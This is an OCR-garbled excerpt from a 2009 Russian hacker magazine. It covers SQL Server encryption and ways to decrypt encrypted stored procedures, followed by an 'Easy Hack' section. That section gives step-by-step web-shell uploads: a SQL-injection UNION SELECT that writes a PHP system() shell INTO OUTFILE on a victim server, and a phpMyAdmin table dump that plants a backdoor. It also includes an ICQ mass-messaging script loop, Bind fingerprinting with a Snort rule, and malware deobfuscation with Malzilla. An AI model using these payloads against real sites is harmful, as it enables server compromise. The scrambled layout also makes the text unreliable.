Надо сказать, что ассиметричные пре-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ENCODE()

Шифрование

строки

ENCRYPTION

BY

 

PASSWORD

=

образования гораздо более накладны,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поверхностным

паролем

(íà

выходе

'pGFD4bb925DGvbd2439587y'

 

чем шифрование и дешифрование с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

получается шифрованное слово пер-

# Для генерации с использованием

использованием симметричного ключа.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

воначальной «plaintext» длины)

подгрузки из файла

 

 

 

 

Поэтому использование ассиметричного

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DECODE()

Расшифровка

текста,

# FROM FILE = 'c:\Shipping\Certs\

шифрования не рекомендуется при работе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

обработанного функцией ENCODE()

Shipping11.cer'

 

 

 

 

с большими объемами данных, например,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ENCRYPT()

Шифрование с помощью

# WITH PRIVATE KEY (FILE = 'c:\

таблицами пользовательских данных. Это

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Unix’ового системного вызова crypt

Shipping\Certs\Shipping11.pvk',

 

важно учитывать при особо больших базах,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MD5()

Подсчет MD-5 суммы

WITH

SUBJECT

=

'Employers

а также базах, структура которых не приве-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SHA1(), SHA() Подсчет SHA-1 (160-

Access',

 

 

 

 

 

дена к одной из нормальных форм.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

áèò)

 

 

 

EXPIRY_DATE = '10/31/2009';

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GO

 

 

 

 

 

ПРЯЧЕМ ХРАНИМЫЕ ПРОЦЕДУРЫ!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для их применения надо лишь чуть изме-

 

 

 

 

 

 

Если ты не заметил, многое упирается в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нить свои SQL-запросы, добавив в нуж-

У нас создался сертификат! Теперь его можно

то, что вся конфиденциальность и целост-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ном месте функции AES_ENCRYPT() или

без проблем использовать для размещения в

ность завязана на использование хранимых

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

 

 

 

 

 

 

033

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

BUY

 

 

w Click

to

 

 

 

 

pc_zone

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

info

 

• Незабывайо

 

самыхпростыхис-

 

тинахтрадиционной

 

криптографии:

 

• Чемболеенакру-

 

ченалгоритмшиф-

 

рования, тембольше

 

ресурсовпроцессора

 

онбудеткушать;

 

• Ассиметричная

 

криптография

 

обеспечиваетболее

 

надежнуюзащиту,

 

чемсимметричная

 

(дажесключами

 

одинаковойдлины),

 

ноееисполнениев

 

базахможетощутимо

Вместокодапроцедуры— сплошныезнакивопроса. Взломщиквобломе

замедлитьвесьпро-

 

цессработы;

 

• Действияпо шифрованиюбазы напрямуюсвязаны смодификацией обращенийклиента. Увы, возможность «прозрачного» шифрованиябазына сегодняшнийдень существуеттольков

MSSQL 2008 (вверсииEnterprise). Эта функцияименуется тамTDE (Transparant Database Encryption).

процедур или функций. Получается, что, получив к ним доступ и грамотно проанализировав их код, любой опытный хакер сможет преобразовать шифрованную белиберду в исходный текст. Конечно, добраться до кода процедур далеко не всегда реально, потому здесь всплывает вопрос об утечке программной начинки производства, а именно — логике ПО. Но именно по этой причине необходимо прибегать к шифрованию процедур и функций в базе. Одно из самых популярных и удачных средств для таких действий — это програм-

ма SQL Shield (www.sql-shield.com). После несложной установки приложения не забудь указывать дополнительный флаг /*sqlshield*/ с выражением «WITH ENCRYPTION» всякий раз, когда будешь создавать защищенную процедуру. Вот пример функции, которая исполняет простейший запрос к базе:

CREATE PROCEDURE MyTest

WITH /*sqlshield*/ ENCRYPTION

AS

SELECT 2+2

Исполняем процедуру и получаем:

MyTest > 4

Проверим, в каком виде хранится процедура, с помощью специального средства для ковыряния в файлах базы.

Подойдет SQL Server Syscomments Decryptor (www. geocities.com/d0mn4r/dSQLSRVD.html), который при

отображении текста процедуры показывает одни лишь знаки вопроса. Все работает!

warning

Использование функцийшифро-

ванияSQL Server

совместно спараметром

ANSI_PADDING OFF можетпривестикпотереданных из-занеявных преобразований!

Пример из личного опыта

Сотрудниками одной компании платежно-карточного сектора велась база данных для выдачи зарплат. Для простого понимания, — пусть это будет примерно следующая структура:

ID

LastName

FirstName

Emp

Sum

354

Somov

Oleg

IT-Manager

M0x8900f56543

643

Antipova

Alexandra

Director

4343Lax#dsdsss

411

Timurov

Valeriy

Technical Dep. 0x2322322222

Выборку из базы я привел абсолютно произвольную, а теперь суть идеи. «Безопасниками» компании было принято вполне благородное решение — шифровать данные о зарплатах, которые очень часто бывают «серыми». Инсайдер получил доступ к базе и сильно обломался, заимев информацию в таком виде. Однако, он не отчаялся и проделал следующий фокус. Резонно предположив, что человек с должностью директора должен получать больше, чем простой менеджер, он поменял соответствующие поля со значениями зарплат одно на другое, тем самым — подложив бухгалтерскому отделу абсолютно левую информацию. В благополучный день такая вещь прокатила, и все безопасники были уволены. Для справки: этим сотрудником был не я, как впрочем, и не безопасником.

034

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

m

>>

w Click

 

BUY

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

to

 

 

 

 

 

 

 

pc_zonew

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Так делать не стоит!

В SQL Server можно создавать четыре типа объектов (хранимые процедуры, представления, пользовательские функции и триггеры) с параметром WITH ENCRYPTION. Этот параметр позволяет зашифровать определение объекта таким образом, что тот можно будет использовать, но получить его определение стандартными способами станет невозможно. Это средство рекомендуется и Microsoft. К сожалению, на практике никакой защиты применение стандартных средств шифрования не обеспечивает! Алгоритм, используемый при шифровании определений объектов, выглядит так:

1)SQL Server берет GUID той базы данных, в которой создается объект, и значение столбца colid таблицы syscomments для создаваемого объекта (чаще всего, его значение — 1 или 2) и производит их конкатенацию;

2)Из полученного значения генерируется ключ при помощи алгоритма SHA;

3)Этот хеш используется в качестве входящего значения при применении еще одного алгоритма хеширования — RSA. С его помощью генерируется набор символов, равный по

Посчитанныевременныерезультатыдля

длине шифруемому определению объекта;

применениякрипто-алгоритмоввсредеSQL-

4)С этим набором символов и с реальным определением объекта производится операция

сервера2005

XOR. В результате получаются данные, которые помещаются в столбец ctext таблицы

 

 

 

 

syscomments.

 

 

У этой схемы есть два слабых места:

 

 

• Нам ничего не мешает заиметь исходные значения (GUID и colid) для выполнения тех

 

 

же самых операций и получить ключ на расшифровку. Это можно сделать, например,

 

КАК ОБЛЕГЧИТЬ СЕБЕ ЖИЗНЬ?

использовав утилиту dSQLSRVD. Правда, для получения GUID базы данных (и для запуска

 

 

В заключение — не менее интересный про-

этой утилиты) нам нужны права системного администратора;

дукт XP_CRYPT (xpcrypt.com). Это средство

• Если у нас есть права на создание объектов в базе данных, можно сгенерировать точно

осуществляет весь тот геморрой, который мы

такой же ключ для объекта, определение которого нам уже известно (путем сравнения

только что проделали вручную. Все, что от

шифрованного определения с незашифрованным). Ну и — использовать его для расшиф-

тебя требуется, — скачать дистрибутив проги,

ровки значения другого объекта.

установить ее на сервер (к сожалению, есть

Как можно расшифровать зашифрованные объекты на SQL Server? Есть два варианта:

версия только для Винды), обозначить свою

• Использовать утилиту dSQLSRVD. Она позволяет выбрать любой зашифрованный объ-

базу данных и начать химию с таблицами с

ект на сервере и записать его определение в текстовый файл;

помощью удобного GUI-интерфейса.

• Использовать хранимую процедуру DECRYPT2K. Код на создание данных хранимых

Организуем знакомство на примере из

процедур (в разных вариантах и с разными объяснениями), которые расшифровывают

практики. Предположим, у нас есть интер-

определение зашифрованных объектов, легко найти через Google.

XP_Crypt избавляетотручногогеморрояпошифрованиюнужныхполей, позволяянастроитьвсе

черезсвоюудобнуюоболочку

нет-магазин, где каким-то образом хранятся данные о кредитных картах клиентов (распространенная ситуация, хотя это категорически запрещено!). Наша задача — зашифровать конкретные данные о клиентах, т.е. поля с паролем, номером кредитной карточки и т.п. Пока мы ничего не делали, при запросе SELECT * FROM tbl_CCards, СУБД возвращает все в открытом виде:

Username Password CredCardNum

james

god

1234567890123456

lucas

sex

2894787650102827

anna

love

3234563638716434

Напишем внешнюю функцию UDF (расшиф-

ровывается, как «User-Defined-Function»,

подробности — в последнем выпуске «Обзора эксплоитов») для преобразования строки в

SHA-хеш:

CREATE FUNCTION ud_MakeSHA1 (@ clearpass VARCHAR (8000) )

RETURNS VARCHAR (40) AS

BEGIN

XÀÊÅÐ 04 /124/ 09

035

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

BUY

 

 

w Click

to

 

 

 

 

pc_zone

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

СпомощьютулзыSysComments Decryptor находимхранимуюпроцедуруиубеждаемся, чтоона

зашифрована

Создаемпростейшуюхранимуюпроцедуру

Уразработчикаестьдваварианта: использоватьвстроенноевMS SQL шифрование, чтонеоченьхорошо, иливоспользоватьсявозможностями

SQL Shield

DECLARE @ret as VARCHAR(40)

 

VARCHAR (16))

 

 

К шифрованию номера кредитной карты

EXEC master..xp_sha1 @clearpass,@

 

RETURNS INTEGER

 

надо подойти более серьезно. Впрочем,

ret OUTPUT

 

AS BEGIN

 

 

мы не будем вникать в различного рода

RETURN @ret

 

DECLARE @res INTEGER

 

стандарты по информационной безопас-

END

 

SELECT @res = count(*) FROM tbl_

 

ности в платежно-карточной сфере (вроде

 

 

CCards where username=@username AND

 

PCI; хотя организации, работающие с кре-

 

 

Отдаем команду: UPDATE tbl_CCards SET

password=dbo.ud_MakeSHA1(@clear_

 

дитными картами, безусловно обязаны это

password = dbo.ud_MakeSHA1(Password).

pass)

 

 

делать). В бесплатной версии XP_CRYPT

После чего еще раз проверяем содержи-

IF @res > 1 SELECT @res= 0

 

существует возможность генерации только

мое базы той же командой. Что видим? Все

RETURN @res

 

 

256-битного ключа RSA.

зашифровано, все пароли захеширова-

END

 

 

Вот этим-то как раз и можно воспользо-

лись! Теперь нужно не забыть о том, что мы

 

 

 

ваться (пусть упомянутый стандарт и тре-

 

 

 

используем шифрование при обращении

Проверяем исполнением команды:

бует, как минимум, 768-битного ключа). Я

к базе. В нашем случае, когда ты будешь

 

 

 

бы мог сейчас привести код по генерации

делать авторизацию пользователей, проце-

SELECT

dbo.ud_CheckUser

 

публичного и приватного ключа, но… посту-

дура проверки пароля по хешу будет выгля-

('anna’,'kolbaska')

 

пим проще. Все действия можно выполнить

деть примерно так:

>1 (неправильно)

 

из понятного графического интерфейса, и

 

 

SELECT

dbo.ud_CheckUser

 

во многих случаях оставить все на совести

CREATE FUNCTION ud_CheckUser (@

 

('anna','love')

 

 

программы, не написав ни строчки кода.

username VARCHAR(16),@clear_pass

 

>0 (окейно!)

 

 

И поверь, будет работать!z

 

 

 

 

 

 

036

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Easy

Hack}

ПРОСТЫХВЕЩЕЙ

 

 

 

 

ХАКЕРСКИЕСЕКРЕТЫ

 

 

 

 

 

ЛЕОНИД «R0ID» СТРОЙКОВ

АНДРЕЙ «SKVOZ» КОМАРОВ

PSYCHO.

 

/ R0ID@MAIL.RU /

/ KOMAROV@ITDEFENCE.RU /

/ X0WL.X0WL@GMAIL.COM /

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

¹1

 

 

 

 

/temporary/

 

 

/images/

 

 

/cache/

 

 

/temp/

 

ЗАДАЧА: ЗАЛИТЬШЕЛЛСРЕДСТВАМИMYSQL

/files/

 

РЕШЕНИЕ:

 

 

 

 

1.ИщемнаWeb-сервередиректории, доступныедлязаписи. Заветный

2.Мыужеподобраликолонки(допустим, ихбудет4), ивыполняемзапрос:

каталогможетприсутствоватьвэтомсписке:

 

 

 

 

 

UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4

 

 

/templates_compiled/

 

INTO OUTFILE "/var/www/html/temp/c.php" --

 

 

/templates_c/

 

 

 

3.Пользуемсяшелломпоадресуhttp://victim.com/temp/c.php.

 

/templates/

 

 

 

 

 

 

 

 

 

 

 

¹2

ЗАДАЧА: ЗАЛИТЬШЕЛЛСРЕДСТВАМИPHPMYADMIN РЕШЕНИЕ:

1.Каким-либообразомполучаемдоступкPhpMyAdmin.

2.Дляэстетикииудобствасоздаемновуюбазу:

CREATE DATABASE 'backdoor'

3.Ищемустановочныйпутьбазы

SELECT @@datadir

> C:\AppServ\MySQL\data\

4.Выполняемзапроснасозданиетаблицы:

CREATE TABLE backdoor( Stack TEXT

) TYPE=MYISaM;

INSERT INTO backdoor(Stack) VALUES(

'<pre><body bgcolor=silver<? @system($_ REQUEST["v"]); ?></body></pre>')

5.Отдаемкомандунадампсодержимоготаблицывфайл

SELECT * into dumpfile 'C:\AppServ\www\s.php' from backdoor;

6.Получаемшеллпоадресуvictim.com/s.php?v=команда.

¹3

ЗАДАЧА: СОХРАНИТЬПРОГРАММУ, ПОКАЗЫВАЕМУЮПООРТ РЕШЕНИЕ:

Увсех, ктосмотритпередачина«Первомканале», наверняка, бывает желаниесохранитьчто-нибудьизихрепертуара. Ноневсезнают, что ОРТвыкладываютвидеонасвоемсайтеввидеonline-flv. Чтобыего сохранить, можноприбегнутькдвумспособам:

1.Воспользоватьсясервисомru.savefrom.net. Этооченьпросто, поэтому небудууглублятьсявподробности.

2.Вручную. ДляэтогооткрываемHTML-кодстраницысвидеоинаходим местовставкиплеера.

3.КопируемURL квидеоипереходимнанего.

4.Смотримнаадреснуюстрокуивидим, чтопараметромкнейвыступает ссылканафайлнастроек, передаваемаячерезадреснуюстроку. ПрочитаемэтотфайлинайдемтамнужныйURL кflv-файлу.

exit();}

$file = fopen($file_uin,'r'); while (!feof($file)) {

$buffer = trim(fgets($file)); $icq->send_message($buffer, $message); echo «Message sent to $buffer \n»; flush();

sleep($pause); } $icq->disconnect();

038

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

¹4

ЗАДАЧА: ОТЛИЧИТЬBIND 8 ОТBIND 9, УЧИТЫВАЯ, ЧТОАДМИНИСТРАТОРУДАЛИЛПАРАМЕТРВЕРСИИВКОНФИГУРАЦИОННЫХ ФАЙЛАХДЕМОНА РЕШЕНИЕ:

Принципиальноеотличие— вBind 9 (начинаясверсии9.1.0) появи- ласьспециальнаяслужебнаяCHAOS-запись«authors». Дляпроверки этогопараметраможноиспользоватьштатныесредстваоперационной системы.

1. linux/freebsd

dig ns.example.com authors.bind chaos txt

2. windows/linux/freebsd

% nslookup -q=txt -class=CHAOS authors.bind. ns.example.com Server: ns.example.com

¹5

ЗАДАЧА: РАСШИФРОВАТЬОБФУСЦИРОВАННЫЙЭКСПЛОИТ РЕШЕНИЕ:

Задачаособенноактуальна, потомучтотакиммакаромможноохотитьсязановымиобразцамисплоитов. Вэтомпланеоченьпригодится тулзаподназваниемMalzilla (malzilla.sourceforge.net). Онасодержит всебедесяткиалгоритмовдлядешифровки, средикоторыхunescape-

Address: 23.23.23.23 authors.bind text = «Bob Halley» authors.bind text = «Mark Andrews»

authors.bind text = «James Brister» authors.bind text = «Michael Graff» authors.bind text = «David Lawrence» authors.bind text = «Michael Sawyer» authors.bind text = «Brian Wellington» authors.bind text = «Andreas Gustafsson»

3.Полученответс«пасхальнымяйцом» отразработчиков— следовательно, переднамидевятаяветка! Чтобывыявитьипредотвратитьтакое обнаружение, администраторможетпредпринятьследующуюсигнатуру:

alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS480/ named-probe-authors";

content: "|07|authors|04|bind»; depth: 32; offset: 12; nocase;)

ВнейсодержитсясинтаксисдлямониторингаUDP-транспортапо53 порту, по содержанию, приведенномувтекстезапроса, сзаданнойглубинойпоиска.

последовательность, UCS2-кодировкаJS итакдалее. Итак, порядок действий:

1.Копируемвсевредоносноешифрованноесодержимоенавкладку

«Download».

2.Жмем«Send script to Decoder», затем«Run script».

3.Вответполучаемдешифрованный(илипочтидешифрованный) сегментамисорецилинкнаподгрузкуфайла.

4.Еслисделатьэтоводинкликнеполучилось, играемсяс«Misc decoders».

Ресурсы, отслеживающиеmalware-активностьонлайн: malwaredomainlist.com, zeustracker.abuse.ch.

Дешифровканалету! НавыходеMalzilla показалалинксвредоносным.exe идеобфусцированныйисходникэксплоита

 

XÀÊÅÐ 04 /124/ 09

039

 

 

 

 

 

Соседние файлы в папке журнал хакер